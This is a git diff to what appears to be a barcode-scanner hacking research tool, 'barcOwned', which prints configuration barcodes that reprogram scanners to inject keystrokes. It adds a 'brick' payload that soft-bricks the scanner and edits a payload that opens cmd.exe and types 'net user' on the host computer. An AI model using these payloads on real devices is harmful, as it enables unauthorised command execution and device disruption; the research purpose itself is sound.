diff --git a/Procfile b/Procfile
new file mode 100644
index 0000000..629b83a
--- /dev/null
+++ b/Procfile
@@ -0,0 +1 @@
+web: python main.py
diff --git a/js/main.js b/js/main.js
index 746ed20..e0d3bea 100644
--- a/js/main.js
+++ b/js/main.js
@@ -326,12 +326,13 @@ jQuery(($) => {
       aggregateBarcode = "^234" + // Reader programming
         "N6" + // Begin 2D barcode
         "S2681000" + // Config title follows?
-        "barcOwned       " + // Configuration title
-        "N5" // Begin programming codes
+        "barcOwned       " // Configuration title
 
       setupBarcodes.forEach((barcode) => {
         // FNC3 isn't needed in aggregate
         aggregateBarcode += barcode.code.replace("^FNC3", "")
+        // N5 is prefixed on begin rules
+          .replace("7B1211", "N57B1211")
       })
       Logger.debug(["Raw aggregate barcode:", aggregateBarcode])
       return [{
@@ -339,8 +340,8 @@ jQuery(($) => {
         //code: encodeC40("^234N6S2681000barcOwned       N57B12116C201B60B30B32B+6A1443526A14E5146A1433036A1106A1186A14470D4"),
         symbology: 'datamatrix',
         BWIPPoptions: {
-			raw : true
-		}
+          raw : true
+        }
       }]
     }
 
diff --git a/main.py b/main.py
index 5ed3819..53b3870 100644
--- a/main.py
+++ b/main.py
@@ -2,7 +2,7 @@
 # to enable file saving functionality
 runMode = "public"
 
-from os import listdir, path
+from os import listdir, path, getenv
 import json
 import os
 from aiohttp import web
@@ -68,4 +68,4 @@ async def handle_payload_put(request):
 					name='root',
 					show_index=True)
 
-web.run_app(app)
+web.run_app(app, port = int(getenv('PORT', 8080)))
\ No newline at end of file
diff --git a/payloads/brick.json b/payloads/brick.json
new file mode 100644
index 0000000..e96920a
--- /dev/null
+++ b/payloads/brick.json
@@ -0,0 +1,24 @@
+{
+  "name": "Brick",
+  "description": "Soft brick your barcode scanner!",
+
+  "setup": {
+    "options": [],
+    "rules": [
+      {
+        "criteria": [
+        ],
+        "actions": [
+          ["sendpausealt", "99"],
+          ["sendpausealt", "99"]
+        ]
+      }
+    ]
+  },
+
+  "payload": [
+    "038000144158",
+    "please help",
+    "im trapped in a barcodefactory"
+  ]
+}
diff --git a/payloads/run-cmd.json b/payloads/run-cmd.json
index daa655c..fd3a711 100644
--- a/payloads/run-cmd.json
+++ b/payloads/run-cmd.json
@@ -19,9 +19,10 @@
       },
       {
         "criteria": [
-          ["stringatstart", "^"]
+          ["stringatstart", "~"]
         ],
         "actions": [
+          ["skipcharacters", 1],
           ["sendremaining"],
           ["sendenter"]
         ]
@@ -31,6 +32,6 @@
 
   "payload": [
     "!cmd.exe",
-    "^net user"
+    "~net user"
   ]
 }
\ No newline at end of file
diff --git a/payloads/tetris.json b/payloads/tetris.json
index e324c7f..7964478 100644
--- a/payloads/tetris.json
+++ b/payloads/tetris.json
@@ -1,18 +1,10 @@
 {
   "name": "Tetris",
-  "description": "Play Tetris slowly and awkwardly!",
+  "description": "Play Tetris slowly and awkwardly! Works for https://tetris.com/play-tetris",
 
   "setup": {
     "options": [],
     "rules": [
-      {
-        "criteria": [
-          ["stringatstart", "up"]
-        ],
-        "actions": [
-          ["sendarrowkey", "up"]
-        ]
-      },
       {
         "criteria": [
           ["stringatstart", "down"]
@@ -36,14 +28,40 @@
         "actions": [
           ["sendarrowkey", "right"]
         ]
+      },
+      {
+        "criteria": [
+          ["stringatstart", "rotateleft"]
+        ],
+        "actions": [
+          ["sendtext", "z"]
+        ]
+      },
+      {
+        "criteria": [
+          ["stringatstart", "rotateright"]
+        ],
+        "actions": [
+          ["sendarrowkey", "up"]
+        ]
+      },
+      {
+        "criteria": [
+          ["stringatstart", "harddrop"]
+        ],
+        "actions": [
+          ["sendtext", " "]
+        ]
       }
     ]
   },
 
   "payload": [
-    "up",
     "down",
     "left",
-    "right"
+    "right",
+    "rotateleft",
+    "rotateright",
+    "harddrop"
   ]
 }